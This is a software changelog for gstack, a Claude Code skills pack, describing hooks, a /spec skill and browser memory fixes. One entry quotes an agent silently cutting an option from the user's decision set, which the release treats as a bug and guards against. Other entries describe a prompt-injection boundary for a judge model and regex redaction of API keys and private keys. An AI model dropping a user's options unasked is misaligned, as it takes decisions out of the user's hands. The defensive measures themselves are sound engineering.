| 1 — Capture | PostToolUse hook → question-log.jsonl with dedup + async derive | hosts/claude/hooks/question-log-hook.ts |
| 2 — Enforcement | PreToolUse hook → deny+reason with auto-decided option | hosts/claude/hooks/question-preference-hook.ts |
| 3 — Annotation | declared profile → kebab signal_key → plain-English phrase | scripts/declared-annotation.ts |
| 4 — Surfaces | host-aware Stats, Recent auto-decisions, Audit unmarked | plan-tune/SKILL.md.tmpl |
| 5 — Discoverability | setup hook-install prompt + post-ship nudge | setup, ship/SKILL.md.tmpl |
| 6 — Tests | 5 E2E scenarios, all gate tier, $0 cost | test/skill-e2e-plan-tune-cathedral.test.ts |
| 7 — Installation | schema-aware bin: PreToolUse + PostToolUse, backup + rollback | bin/gstack-settings-hook |
| 8 — Dream cycle | Anthropic SDK distill + gbrain put_page + memory injection | bin/gstack-distill-* + Layer 2 inject |

Highest-impact number is the third row: declared profile annotations now render inline before every AUQ that matches a signal_key. Set `declared.scope_appetite = 0.85` once during /plan-tune setup, and every "should I bundle this fix?" question shows up with "(your profile leans complete-implementation)" on the recommended option. The same loop applies to verbose-vs-terse, consult-vs-delegate, and ship-now-vs-get-the-design-right.

### What this means for solo builders

The feature compounds now. Each AskUserQuestion you answer "Other" with free text gets captured by the hook, batched into proposals by `gstack-distill-free-text` (3/day cap, ~$0.01 per run), reviewed via `/plan-tune distill`, and applied as either a `never-ask` preference, a declared-profile nudge, or a reusable memory nugget that routes to your gbrain (when configured) and reappears as context the next time a related question fires. The dream cycle is the unlock — without it, every nuanced answer evaporated after one turn. Now they accumulate. Run `./setup` and accept the hook-install prompt to turn it on, then `/plan-tune` whenever you want to see what your profile knows about you.

### Itemized changes

**Added**
- `hosts/claude/hooks/question-log-hook` — PostToolUse hook, matcher covers `AskUserQuestion` + `mcp__*__AskUserQuestion`. Captures every AUQ fire with marker-first question_id (D18), hash-fallback observed-only, source-tagged.
- `hosts/claude/hooks/question-preference-hook` — PreToolUse hook with `(recommended)`-label parser, refuse-on-ambiguous (D2 safety), project-then-global preference precedence (D8), one-way safety override. Auto-decided events logged from the hook itself since deny prevents PostToolUse from firing.
- `scripts/declared-annotation.ts` — `getDeclaredAnnotation(signal_key)` with kebab→underscore namespace mapping. Returns null in the middle band, plain-English phrase in strong bands (>= 0.7 or <= 0.3).
- `bin/gstack-codex-session-import` — structured JSONL parser for `~/.codex/sessions/`. Marker-first recovery with pattern fallback, source-tagged `codex-import-marker` / `codex-import-pattern`.
- `bin/gstack-distill-free-text` — Layer 8 dream cycle distiller. Anthropic SDK direct call (Haiku 4.5), 3/day rate cap per slug (D7), cumulative cost log, sync-or-background execution context (D14).
- `bin/gstack-distill-apply` — applies one approved proposal to its surface (preference / declared-nudge / memory-nugget), with optional `--gbrain-published true` flag.
- `setup` — interactive consent prompt for hook installation with diff preview, backup, one-command rollback. Marker-gated so users are asked at most once.
- `ship/SKILL.md.tmpl` Step 21 — post-success plan-tune nudge, marker-gated for at-most-once.
- `docs/spikes/claude-code-hook-mutation.md` + `docs/spikes/codex-session-format.md` — Phase 1 spike outputs that pinned protocol contracts before implementation.
- 96 new tests across 8 files: STATE_ROOT honoring, v1.49 gates, settings-hook schema-aware ops, both hooks, declared-annotation, codex import, distill bin, distill apply, memory injection, 5 cathedral E2E scenarios.

**Changed**
- `bin/gstack-settings-hook` schema-aware rewrite: PreToolUse + PostToolUse registration with `_gstack_source` tag for dedup, `add-event` / `remove-source` / `diff-event` / `rollback` / `list-sources` subcommands. Legacy `add`/`remove` SessionStart shape preserved verbatim.
- `bin/gstack-question-log` — accepts source, tool_use_id, free_text; composite dedup on (source, tool_use_id) across last 100 lines (D3); async-fires `gstack-developer-profile --derive` after every successful write (D17 — without this, sample_size stayed 0).
- Three bins (`gstack-question-log`, `gstack-question-preference`, `gstack-developer-profile`) + `gstack-config` now honor `GSTACK_STATE_ROOT` env var as highest-priority override (D16 Codex correction — without this, isolation tests silently wrote to real ~/.gstack).
- `scripts/resolvers/question-tuning.ts` preamble — added marker-embedding convention (`<gstack-qid:{id}>`) and `(recommended)` label convention. Hook enforcement gates on marker presence.
- `scripts/question-registry.ts` — added `signal_key: 'decision-autonomy'` to `land-and-deploy-merge-confirm` and `land-and-deploy-rollback` so the autonomy dimension has a real signal source.
- `scripts/psychographic-signals.ts` — added `decision-autonomy` signal map.
- `plan-tune/SKILL.md.tmpl` — new sections (Recent auto-decisions, Audit unmarked, Dream cycle review, Dream cycle distill); host-aware Stats with source breakdown + MARKED %; Step 0 routing extended with dream-cycle gate.
- `bin/gstack-uninstall` — also cleans up `plan-tune-cathedral`-tagged hooks during uninstall.

**For contributors**
- 4 cross-model tension resolutions during eng review locked in: project preferences win over global (D8), hash IDs are observed-only never preference keys (D18), AUQ matcher covers MCP variants (Codex correction), enforcement uses `permissionDecision: "deny"` + reason instead of `"allow"` + `updatedInput` until the AUQ input shape is verified against real Claude Code (T6 conservative path).
- Plan-review preamble byte budget ratcheted 39000 → 40000 in `test/gen-skill-docs.test.ts` (~700 bytes added by the marker convention).
- 9 Codex outside-voice findings folded directly without re-prompting (matcher correction, derive wiring, settings.json consent, signal_key namespace, etc.).

## [1.51.0.0] - 2026-05-27

## **Long-running browser sessions hold flat RSS on the Bun side. `$B memory` gives every future OOM receipts instead of a screenshot.** Four CDP-resource leak classes closed and pinned with tripwires; a structured diagnostic surfaces Bun heap + per-tab JS heap + Chromium process tree + bounded buffer sizes in real time.

This release closes four leak classes in the browse server that compounded silently across long sidebar sessions: response-body materialization in the requestfinished listener (multi-GB/hour Buffer churn on media-heavy pages), three undetached CDP session call sites (cdp-bridge, write-commands archive, cdp-inspector), an unbounded modificationHistory array in the CSS inspector, and SSE subscriber cleanup that only fired on the abort edge — TCP-died-without-abort cases (Chromium MV3 service-worker suspend, intermediate proxy half-close) left subscribers in the Set forever holding the controller and any queued bytes. All four have invariant tests; a static-grep tripwire fails CI if a future refactor reintroduces direct `newCDPSession(...)` calls outside the helper module.

Alongside the fixes, `$B memory` and `/memory` ship the diagnostic the original 160 GB OOM investigation was missing: Bun RSS + heap breakdown, per-tab JS heap via CDP `Performance.getMetrics`, Chromium process tree via `SystemInfo.getProcessInfo` (PID + type + CPU), and the bounded buffer sizes (modificationHistory, activity subscribers, inspector subscribers, console/network/dialog buffers, capture buffer bytes). The sidebar footer polls `/memory` every 30s with adaptive backoff (drops to 5min if response time exceeds 2s), and a tab-count guardrail fires soft-warn at 50 / hard-warn at 200 with a top-5-by-RAM toast offering one-click close. Single-tab JS heap above 4 GB triggers an immediate toast, catching the WebGL/video runaway case where one tab balloons without the count ever reaching 200.

### The numbers that matter

Source: this branch's 16 commits + the post-merge audit reports. Net diff: 23 files changed, +2251 / -143 = 2394 LOC across browse server (TypeScript), gstack extension (JS/HTML/CSS), and tests.

| Capability | Before this PR | After this PR |
|---|---|---|
| `requestfinished` body handling | `await res.body()` on every response, allocates full body Buffer for one `.length` read | `req.sizes()` reads structured byte count from `Network.loadingFinished`, zero body materialization, accurate for chunked / gzip / streaming responses |
| CDP session lifecycle (3 sites) | direct `newCDPSession`, detach missing or success-path-only | `withCdpSession` (try/finally detach) + `getOrCreateCdpSession` (cached + close-detach) helpers, all 3 sites migrated, static-grep tripwire prevents regression |
| modificationHistory in CSS inspector | unbounded array, grew for every `$B css` edit across the session | bounded FIFO cap 200, evicted-count surfaced in the undo error so the user knows why their target index is gone |
| SSE subscriber cleanup | abort-edge only; TCP-died-without-abort leaked subscriber + controller + queued bytes until process exit | `createSseEndpoint` helper with cleanup on abort + enqueue-throw + heartbeat-throw, idempotent (any edge fires once) |
| Tab-count visibility | none — user could accumulate hundreds of tabs without warning | soft warn at 50 (activity entry), action toast at 200 (top 5 by RAM + Close-selected + Snooze), single-tab >4 GB triggers immediate toast |
| Diagnostic command | not available | `$B memory` (text + `--json`), `/memory` endpoint (SSE-session-cookie gated), sidebar footer with adaptive backoff |
| Net change in `server.ts` (SSE refactor) | 132 lines of inline ReadableStream wiring across two endpoints | 23 lines, both endpoints route through one helper |
| Test pins for the leak class | none specific | 6 new test files, 45 new tests; static-grep tripwire fails CI on regression |

### What this means for builders

The next time you leave a gbrowser session running for days, the Bun side holds its RSS flat instead of churning on per-response Buffer allocations. If a tab does go rogue, the sidebar footer shows you in real time — `RSS: 5.6 GB · 12 tabs`, color-coded — and a 200-tab toast surfaces the top RAM consumers with one-click close before you hit the OS OOM killer. If the next OOM still fires, `$B memory` is there to give it receipts instead of theory: Activity Monitor says 160 GB; the diagnostic tells you which process tree, which tabs, and which in-memory structures are holding it. Every code path the diagnostic measures is also bounded — modificationHistory at 200, console/network/dialog buffers at 50K via the existing CircularBuffer, SSE subscribers via the new cleanup contract — so the bookkeeping itself can't leak.

### Itemized changes

#### Added
- **`$B memory` command** in `browse/src/memory-command.ts` — text mode with sorted top-10 tabs + "and N more" tail; `--json` mode for programmatic consumers and the sidebar footer poll.
- **`/memory` HTTP endpoint** in `browse/src/server.ts` — same SSE-session-cookie auth model as `/activity/stream`. Deliberately NOT extending `/health` (which already leaks AUTH_TOKEN in headed mode per TODOS.md "Audit /health token distribution").
- **`BrowserManager.getMemorySnapshot()`** — collects Bun process memory + per-tab JS heap via `Performance.getMetrics` (lazy per tracked page, swallows target-died errors) + Chromium process tree via `Browser.newBrowserCDPSession()` + `SystemInfo.getProcessInfo`.
- **`browse/src/memory-snapshot.ts`** — shared types (`MemorySnapshot`, `MemoryTabSnapshot`, `MemoryProcess`, `MemoryStructureStats`) plus `formatBytes()` renderer (4 tiers, 2 decimals at GB).
- **`withCdpSession(page, fn)`** and **`getOrCreateCdpSession(page, cache)`** in `browse/src/cdp-bridge.ts` — lifecycle helpers for one-shot and cached CDP work. Every direct `newCDPSession` call site now routes through one of them.
- **`createSseEndpoint(req, config)`** in `browse/src/sse-helpers.ts` — owns the SSE cleanup contract (abort + enqueue-throw + heartbeat-throw, all idempotent). Built-in lone-surrogate sanitization on every JSON.stringify.
- **Sidebar footer RSS readout** in `extension/sidepanel.{html,js,css}` — polls `/memory` every 30s with 5-minute backoff if response time exceeds 2s. Color-coded thresholds: orange at 2 GB Bun RSS or 50 tabs, red at 8 GB or 200 tabs.
- **Tab guardrail UX** in `extension/sidepanel.js` — top-5-by-RAM toast at 200 tabs OR any single tab over 4 GB JS heap, with checkboxes + Close-selected (via `$B closetab`) + Snooze persisted in `chrome.storage.session`. Snooze bumps the thresholds so the toast stays hidden until the user accumulates more tabs or one tab grows another 2 GB.
- **Static-grep tripwire** (`browse/test/cdp-session-cleanup.test.ts`) — fails CI if any source file outside `cdp-bridge.ts` calls `newCDPSession(...)` directly.
- **45 new tests across 6 files** pinning the leak-fix invariants: CDP session lifecycle (8), SSE cleanup contract (6), modificationHistory cap + evicted-aware error (7), tab guardrail fires-once + re-arms (6), body-materialization reproducer (1), `$B memory` formatter + byte renderer + JSON entry (17).
- **4 follow-up entries in `TODOS.md`** (P2: MV3 SW memory profile, P2: native + GPU memory breakdown, P3: single-context CDP listener via `Target.setAutoAttach`, P3: real-Chromium peak-RSS reproducer for periodic tier).

#### Changed
- **`wirePageEvents.requestfinished` no longer materializes response bodies.** Pre-fix: `await res.body()` allocated a Bun `Buffer` of the full response on every fetch just to read `.length`. Post-fix: `req.sizes()` pulls the structured byte count from `Network.loadingFinished` without body fetch. Accurate for chunked transfer, gzip-encoded responses, and streaming media.
- **`modificationHistory` capped at 200 entries with FIFO eviction.** `undoModification` error now reports `"No modification at index N. History has 200 entries (most recent 200 only — M earlier entries evicted at the cap)."` when the requested index is out of range AND the buffer has overflowed.
- **`/activity/stream` and `/inspector/events` refactored through `createSseEndpoint`.** Both endpoints collapse from ~45 lines of inline `ReadableStream` wiring to ~8 lines of helper config; behavior preserved bit-for-bit.
- **`memory` command classified under the `Server` category** in `COMMAND_DESCRIPTIONS` so it appears in the generated SKILL.md tables alongside `status` / `restart` / `handoff`.

#### For contributors
- Plan completion audit: 12 of 17 plan items DONE, 2 CHANGED (deliberate scope decisions documented in the relevant commits — `req.sizes()` swap simpler than a single-context CDP listener; tab guardrail action toast wired through `$B closetab` instead of a `chrome.tabs.remove` bridge), 1 deferred to periodic tier (UI E2E tests).
- Coverage audit: 44% pre-diagnostic-tests → ~62% after adding the formatter coverage. Strong paths (CDP session lifecycle, body materialization, history cap, tab guardrail, SSE cleanup) all at 100% with invariant tests. Extension UI tests deferred (no extension test harness in this repo today).
- The CDP-session cleanup tripwire is the most reusable artifact here — any future addition of CDP work should route through the two helpers. Trying to call `newCDPSession` outside `cdp-bridge.ts` fails CI immediately with a pointer to the right helper.

## [1.49.0.0] - 2026-05-26

## **`/plan-tune` learns to ask for consent before logging, and runs the 5-question setup automatically when your profile is empty.**

Run `/plan-tune` the first time and you get an opt-in prompt. Accept and the 5-question wizard fills in your declared profile in about two minutes. Decline and `/plan-tune` never asks again. Contributors see a slightly different prompt explaining that local question-log data helps gstack calibrate, but the default is the same: off until you say yes.

If you already opted in via `gstack-config set question_tuning true` and skipped the wizard, the next `/plan-tune` runs just the 5-question setup so your profile actually has values.

Both flows write marker files in `~/.gstack/` so you're asked at most once per choice.

### Itemized changes

**Added**
- `/plan-tune` consent prompt with contributor-specific copy. Honored by `~/.gstack/.question-tuning-prompted` marker.
- `/plan-tune` setup gate. Catches `question_tuning: true` with empty `declared`. Honored by `~/.gstack/.declared-setup-prompted` marker.

**Changed**
- `TODOS.md` E1 dependency line aligned with the canonical 90-day gate in `docs/designs/PLAN_TUNING_V0.md`. The 7-day diversity gate is for displaying inferred values in `/plan-tune` output; the 90-day gate is for shipping behavior adaptation. Both gates documented inline in `plan-tune/SKILL.md.tmpl`.
- `TODOS.md` E1 substrate constraint: E1 adaptations land as advisory annotations on AskUserQuestion recommendations, not as runtime AUTO_DECIDE on inferred profile alone.

**For contributors**
- `plan-tune/SKILL.md` size budget override (50,123 → 52,963 bytes, ×1.06 vs v1.44.1 baseline). Reason logged to audit trail.

## [1.48.0.0] - 2026-05-26

## **Agents stop dropping AskUserQuestion options when there are 5+.** A new canonical preamble rule + runtime gate makes Conductor's 4-option cap a split-or-batch decision, not a silent trim.

The failure mode looked like this in real transcripts:

> "I'm hitting Conductor's limit of 4 options in the AUQ, so I need to cut one. E4 is the biggest lift and probably beyond scope for v0.42 anyway. Trimming: E4. Moving to TODOs without asking. Re-firing with 4."

The agent unilaterally cut an option from the user's decision set. This release names that as a bug and gives the agent two compliant shapes for any 5+ option scenario: batch into ≤4-groups when the options are coherent alternatives (version bumps, layout variants), or split into N sequential per-option calls when the options are independent scope items (which platforms to ship, which TODOs to land). Default-to-split when unsure. The inline preamble subsection is intentionally compressed; full reference with worked examples, Hold/dependency semantics, and final-summary validation lives in `docs/askuserquestion-split.md` — loaded on demand when N>4.

A two-layer defense protects the option set from being silently auto-approved: per-option `question_id`s of shape `<skill>-split-<option-slug>` are unique per option (preferences can't leak across the chain), and the runtime checker `bin/gstack-question-preference --check` refuses `never-ask` on any `*-split-*` id with an explanatory note. The user's option set is sacred — the whole point of splitting is restoring user sovereignty over the decision space.

### The numbers that matter

Source: this branch's 4 commits + the post-merge regen against `main` at v1.47.0.0. Net diff: 57 files, ~2800 lines (most of it mechanical SKILL.md regen across all 41 tier-2+ skills, ~34 lines added per skill from the inline subsection injection).

| Capability | Before this PR | After this PR |
|---|---|---|
| 5+ options for ONE decision | drop one to fit cap, hope user doesn't notice | split into N per-option calls OR batch into ≤4-groups, name the rule in the preamble |
| Per-option call shape | n/a (couldn't reliably produce one) | `D<N>.k` header, Include / Defer / Cut / Hold buckets, kind-note (no completeness score), recommendation per option |
| Hold semantics | undefined (chain might queue, might stop, agent-dependent) | stop chain immediately, resume on user "continue" |
| Final summary | n/a | `D<N>.final` validates dependencies, reprompts conflicts, confirms assembled scope |
| `D<N>.0` meta-question (N>6) | n/a | tool-call meta-question first: proceed / narrow / batch |
| AUTO_DECIDE on split per-option calls | possible if user tuned the pattern via /plan-tune | runtime checker forces `ASK_NORMALLY` on any `*-split-*` id, with explanatory note |
| Regression coverage | n/a | 6 inline-contract tests + 7 runtime-gate tests + 1 periodic-tier E2E behavior test (5-option scope fixture) |
| Inline preamble bytes per SKILL.md | n/a | ~1.6 KB (vs ~4 KB if the full rule were inlined; deeper reference loaded on demand) |

### What this means for builders

Next time you give an agent a scope question with 5+ candidates, you'll see one of three shapes: a single batched AskUserQuestion with ≤4 buckets (if the options are coherent alternatives), N sequential per-option calls each with Include/Defer/Cut/Hold (if they're independent), or a `D<N>.0` meta-question first asking whether to proceed/narrow/batch (if N>6). You'll never see a silent trim. If you've ever wired up a /plan-tune `never-ask` preference, it now refuses to apply to split chains — the runtime check forces ASK_NORMALLY with a note explaining why.

### Itemized changes

#### Added
- New canonical preamble subsection in `scripts/resolvers/preamble/generate-ask-user-format.ts`: "Handling 5+ options — split, never drop". Inline-compressed (~1.6 KB per tier-2+ skill); full reference at `docs/askuserquestion-split.md`.
- `docs/askuserquestion-split.md`: ~200-line deep reference covering both compliant shapes (batched / split), per-option call mechanics with `D<N>.k` numbering, Hold-means-stop semantics, final-summary dependency validation with conflict reprompt, `D<N>.0` meta-question for N>6, `<skill>-split-<option-slug>` question_id format, and the two-layer AUTO_DECIDE defense.
- Runtime AUTO_DECIDE gate in `bin/gstack-question-preference --check`: detects any `question_id` matching `*-split-*` and forces `ASK_NORMALLY` regardless of stored `never-ask` or `ask-only-for-one-way` preferences. Emits an explanatory note so the user knows their preference was bypassed and why.
- `test/skill-e2e-plan-ceo-split-overflow.test.ts`: periodic-tier regression test using a 5-option chat-platform integration fixture. Floor 4 review-phase AUQs (N-1 tolerance). Catches the original drop-to-fit-4 failure mode.

#### Changed
- Test baseline anchor rebased v1.44.1 → v1.47.0.0 in `test/skill-size-budget.test.ts`. Main's v1.46 (catalog tokens) + v1.47 (/spec) growth pushed the v1.44.1 anchor past the 5% ratchet; rebasing absorbs that growth at HEAD. Historical `parity-baseline-v1.44.1.json` and `parity-baseline-v1.46.0.0.json` retained in `test/fixtures/` for reference.
- 3 self-check items added to the AskUserQuestion preamble checklist (split-not-drop, dependency-check-before-chain, Hold-stops-immediately).
- 41 tier-2+ skills regenerated to inherit the new subsection (~34 lines each via the preamble resolver).
- 3 golden ship fixtures refreshed for the new preamble.

#### Fixed
- Orphan `12.` numbered-list prefix on the existing CJK rule in `generate-ask-user-format.ts` — refactoring artifact, no items 1-11 above it. Removed.
- `docs/skills.md` missing `/spec` table row (pre-existing miss from PR #1698/#1733 that landed `/spec` to main without updating the doc inventory). Added.

#### For contributors
- 6 resolver tests pin the inline-subsection contract (4-option cap text, Include/Defer/Cut/Hold buckets, D-numbering shape, AUTO_DECIDE runtime gate reference, docs pointer, orphan-12 regression).
- 7 runtime-gate tests in `test/gstack-question-preference.test.ts` cover the carve-out: no-pref baseline, never-ask override, explanatory note text, ask-only-for-one-way override, always-ask (no note), non-split id containing "split" word (negative regex specificity), multi-skill split id formats.
- `parity-baseline-v1.47.0.0.json` captured via `bun run scripts/capture-baseline.ts --tag v1.47.0.0`.

## [1.47.0.0] - 2026-05-26

## **`/spec` ships: turn vague intent into a precise, executable spec in five phases.** Pipe the spec into a spawned Claude Code agent, dedupe against existing issues, archive locally for the team corpus, and let `/ship` close the source issue on merge.

A precise spec collapses an agent's clarification roundtrips from N to zero. `/spec` is the verb that turns thoughts into commits: five strict phases (why, scope, technical with mandatory code-reading, draft, file), a codex quality gate before file, archive to `$GSTACK_STATE_ROOT/projects/$SLUG/specs/`, and optional pipeline-mode spawn into a fresh worktree. Plan-mode aware: in plan mode `/spec` files the issue and loads the spec into your active plan file; in execution mode it files the issue and spawns `claude -p` in a fresh worktree by default. `/ship` reads the archive frontmatter and auto-closes the source issue on full delivery. Adapted from a community-contributed `/issue` skill (PR #1698 by @jayzalowitz) with rename, race+security hardening, and DX polish.

`/spec` is the first skill registered against the v1.46 eval-first floor (`test/skill-coverage-matrix.ts`), passing all six structural floor checks plus 37 deterministic invariant assertions specific to `/spec`'s contract. Skill catalog count: 51 → 52.

### The numbers that matter

Source: 1 contributor commit + 8 follow-on bundled fixes/expansions on this branch (`git log v1.46.0.0..HEAD --oneline`). Template at `spec/SKILL.md.tmpl` (404 → ~750 lines after expansions), 4 new test files (37 deterministic scenarios + 2 periodic-tier stubs).

| Capability | Without `/spec` | With `/spec` |
|---|---|---|
| Author backlog-ready issue | freehand prose, sloppy AC, no file refs, 10-15 min per issue | 5-phase interrogation with hard-grep Phase 3, file-refs at `path:line`, quantified impact, ~4 min |
| Spec → agent execution | copy-paste into new `claude -p` session, ~30s context-switch friction | `--execute` spawns automatically in fresh worktree `spec/<slug>-$$`, zero hand-off |
| Catch ambiguity before file | none (you find out when the implementer asks) | codex quality gate scores 0-10, blocks below 7, lists ambiguities, up to 3 iterations |
| Secret leakage to second-AI judge | possible if spec contains pasted secret | fail-closed redaction blocks dispatch on AWS/GitHub/Anthropic key patterns + private key blocks |
| Concurrent `/spec` runs | branch/archive collisions on same second | unique `spec/<slug>-$$` branches, atomic `.tmp/mv` archive write, PID-suffixed filenames |
| Linked issue closure | manual `Closes #N` in PR body | `/ship` auto-adds when archive present AND full spec delivered |

### What this means for builders

Type `/spec` on a vague bug; four minutes later you have a filed GitHub issue with file refs and a Claude Code agent already executing it in a fresh worktree. When `/ship` lands the PR, the source issue auto-closes. The corpus of past specs in `$GSTACK_STATE_ROOT/projects/$SLUG/specs/` is mineable by `gbrain` for cross-session pattern recall. `--no-gate`, `--no-execute`, `--file-only`, and `--plan-file <path>` are escape hatches when the defaults don't fit; `--audit` routes to the Audit/Cleanup template structure.

### Itemized changes

#### Added
- `/spec` skill (renamed from contributor's `/issue`): five-phase interrogation producing backlog-ready specs. Lives at `spec/SKILL.md.tmpl`.
- `--dedupe` flag (default ON): `gh issue list --search` before drafting, surfaces near-duplicates via AskUserQuestion; graceful skip on `gh` missing/unauthed/rate-limited.
- `--execute` flag (default ON in execution mode): spawns `claude -p` in a fresh Conductor worktree on branch `spec/<slug>-$$`, with dirty-worktree gate, TOCTOU re-check after AskUserQuestion answer, SHA pin via `git rev-parse HEAD`, and mandatory final-confirm gate.
- Quality-score gate (default ON): codex adversarial dispatch with hard `<<<USER_SPEC>>>` delimiter + instruction boundary, score 0-10, blocks at <7, up to 3 iterations, AskUserQuestion escape on persistent <7 (ship anyway / save draft / one more try).
- Fail-closed redaction in quality gate: regex match against AWS access keys (`AKIA...`), GitHub tokens (`ghp_/gho_/ghs_`), Anthropic keys (`sk-ant-...`), OpenAI keys, `.env`-style `KEY=value`, and `-----BEGIN ... PRIVATE KEY-----` blocks → block dispatch entirely. Raw spec never persisted to archive or transcript on block.
- `--audit` flag routes Phase 5 to the Audit/Cleanup template structure.
- `--file-only` / `--no-execute` / `--plan-file <path>` overrides for plan-mode-aware Phase 5 default.
- `--sync-archive` opt-in for cross-machine spec sync (archives stay local by default; `/specs/` excluded from artifacts-sync allowlist).
- Spec archive: writes to `$GSTACK_STATE_ROOT/projects/$SLUG/specs/<datetime>-<pid>-<slug>.md` via existing `gstack-paths` resolver (handles `GSTACK_HOME`, `CLAUDE_PLUGIN_DATA`, Windows fallback). Atomic `.tmp/mv` write prevents collision on concurrent runs.
- `GSTACK_PLAN_MODE` env var: emitted by `{{PREAMBLE}}` based on `CLAUDE_PLAN_FILE` presence. Skills can branch behavior on plan-mode state without parsing system reminders.
- `/spec` entry in the gstack routing block injected into project CLAUDE.md.
- `/ship` PR body integration: reads `spec_issue_number` from archive frontmatter and adds `Closes #N` when the spec is fully delivered per the existing plan-completion gate. Partial delivery emits a "Linked to #N (not auto-closing)" notice instead.
- `/spec` entry in `test/skill-coverage-matrix.ts` (52nd skill, eval-first floor compliance per v1.46 contract).

#### Tests
- `test/spec-template-invariants.test.ts`: 35 deterministic invariants covering Phase 1 hard gate, Phase 3 hard-grep mandate, `--dedupe` graceful-skip paths, `--execute` race + security hardening (TOCTOU re-check, SHA pin, unique branch), quality-gate redaction patterns and BLOCKED path, archive atomic write + sync exclusion, plan-mode-aware Phase 5 dispatch.
- `test/spec-template-sync.test.ts`: regenerates `spec/SKILL.md` and asserts byte-identical output (prevents template-vs-generated drift).
- `test/skill-e2e-spec-execute.test.ts` (periodic-tier): full `/spec --execute` pipeline scaffold registered in `E2E_TIERS`.
- `test/skill-llm-eval-spec.test.ts` (periodic-tier): authored-spec quality eval against the 14-Quality-Standards rubric.

#### Fixed
- Duplicate analytics block in `spec/SKILL.md.tmpl` (was bypassing the `_TEL != "off"` opt-out gate; `{{PREAMBLE}}` already emits the analytics write with the guard).

#### For contributors
- Community contribution: PR #1698 by @jayzalowitz (Jay Zalowitz) lands as the foundation commit with original authorship preserved. Contributor's 5 phases, 14 Quality Standards, and Standard/Epic/Audit templates carried forward intact; expansions are additive.
- Plan reviewed across `/plan-ceo-review` (SCOPE EXPANSION, 5 of 6 expansions accepted), `/plan-eng-review` (race + security hardening), and `/plan-devex-review` (persona, magical moment, error-message Tier 1, plan-mode-aware Phase 5).
- 28 codex adversarial findings across 3 review rounds, 23 accepted.

## [1.46.0.0] - 2026-05-26

## **gstack v2 foundation lands. Catalog tokens drop 56%, eval-first floor covers all 51 skills, hard token + dollar caps gate every PR.**

The always-loaded skill catalog — what every Claude Code session pays for at startup before any real work begins — went from ~9,319 tokens to ~4,045 tokens. That's a 56.6% cut to the surface gstack has been criticized for (third-party review, May 2026: "10K+ tokens before any real code is written"). Heavyweight skills like `/ship`, `/plan-ceo-review`, `/office-hours` still ship their full content, but their frontmatter descriptions trim to one sentence each; the routing prose lives in a new "## When to invoke" body section, and a per-run `scripts/proactive-suggestions.json` registry holds the voice-trigger + proactive-suggest text so agents can pull guidance on demand instead of always-loaded.

This is the v2 foundation release. The architectural break — `sections/*.md.tmpl` pattern, mechanical Read enforcement, eval-coverage annotations — lands in v2.0.0.0 as a coordinated launch. v1.46 absorbs every low-risk win, ships the eval-first floor every future skill must pass, and locks in the v1.44.1 reference baseline so reviewers can audit v1→v2 numbers against a real file (`test/fixtures/parity-baseline-v1.44.1.json`).

### The numbers that matter

Source: `bun run scripts/capture-baseline.ts --tag v1.46.0.0` vs the locked v1.44.1 baseline at `test/fixtures/parity-baseline-v1.44.1.json`. Reproduce locally with `bun test test/skill-size-budget.test.ts`.

| Metric | v1.44.1 | v1.46.0.0 | Δ |
|---|---|---|---|
| Catalog tokens (always-loaded system prompt) | ~9,319 | ~4,045 | **−56.6%** |
| Total SKILL.md corpus | 2,847 KB | 2,813 KB | −1.2% |
| ship.md | 160 KB | 159 KB | −0.5% |
| plan-ceo-review.md | 128 KB | 127 KB | −0.7% |
| office-hours.md | 108 KB | 108 KB | −0.8% |
| Skills with gate-tier eval coverage | 32 of 51 | **51 of 51** | floor achieved |
| Cathedral parity invariants pinned | 0 | **10** | structural + content |
| Token & dollar budget regressions caught at CI | (none) | **5 new test files** | per-skill, corpus, catalog, eval-cost gate, eval-cost periodic |

The corpus barely moved because the catalog trim MOVES routing prose from frontmatter to a body section — it doesn't delete it. The always-loaded surface drops by more than half because catalog text is what Claude Code reads on every session start; body content only loads when the skill is invoked.

### What this means for you

If you use any gstack skill, every session starts ~5,000 tokens lighter before you type anything. Heavyweight invocations like `/ship` cost about the same as before, but session startup feels snappier. If you've been on the fence about installing gstack because of the "fat" reputation, this is the release that addresses it directly: the always-loaded surface is now competitive with stripped-down skill packs while every skill keeps its full body content.

If you contribute skills, the eval-first floor means a new SKILL.md without an entry in `test/skill-coverage-matrix.ts` fails CI. The minimum entry is one line referencing `test/skill-coverage-floor.test.ts` (the free structural-compliance smoke test). Behavioral E2E coverage gets layered on top per skill.

If you run gstack in CI, the new `EVALS_BUDGET_HARD_CAP=$30` cap (per-suite: gate $25 / periodic $70) stops runaway eval costs from a model price change or infinite-retry bug. Override path exists for legit-need-more cases: `EVALS_BUDGET_OVERRIDE_REASON="why this is OK"` logs to `~/.gstack/analytics/spend-overrides.jsonl` for audit.

### Itemized changes

**Added**
- `scripts/capture-baseline.ts` + `test/helpers/capture-parity-baseline.ts` — captures per-skill SKILL.md sizes, token estimates, frontmatter description lengths, and eval coverage flags. Writes JSON snapshots used by the parity and size-budget gates. Locks `test/fixtures/parity-baseline-v1.44.1.json` as the v1→v2 reference.
- `test/helpers/parity-harness.ts` + `test/parity-suite.test.ts` — cathedral parity-eval suite floor. `PARITY_INVARIANTS` registry pins must-preserve phrases per skill family (cso: OWASP/STRIDE; plan-ceo: SCOPE EXPANSION / HOLD SCOPE; ship: VERSION/CHANGELOG/PR) so future compression can't silently strip load-bearing prose.
- `test/skill-coverage-matrix.ts` + `test/skill-coverage-matrix.test.ts` — single source of truth mapping each skill to gate + periodic tests; CI gate asserts every skill has at least one gate-tier entry. 51 skills, 51 entries.
- `test/skill-coverage-floor.test.ts` — per-skill structural-compliance smoke test (file-IO, free). Verifies frontmatter shape, generated header, body non-trivial, no leaked `{{TEMPLATE}}` placeholders, catalog-trim contract on description. 309 assertions across 51 skills.
- `test/skill-size-budget.test.ts` — per-skill SKILL.md byte budget (×1.05 default ratio), total corpus budget, catalog token budget (≤7000 for v1.46). Caught regressions get a per-skill breakdown + override path.
- `test/cso-preserved.test.ts` — pins cso's must-not-strip security guidance phrases (OWASP, STRIDE, daily/comprehensive mode discipline, confidence scoring, active verification). Future compression that hits cso fails CI here.
- `test/helpers/budget-override.ts` — audit-trail logger for `GSTACK_SIZE_BUDGET_OVERRIDE_REASON` and `EVALS_BUDGET_OVERRIDE_REASON`. Append-only JSONL at `~/.gstack/analytics/spend-overrides.jsonl` with timestamp + scope + reason + CI provenance.
- `scripts/proactive-suggestions.json` — per-run registry of routing prose + voice triggers extracted from skill frontmatter during catalog trim. Agents pull on demand instead of paying for it always-loaded.
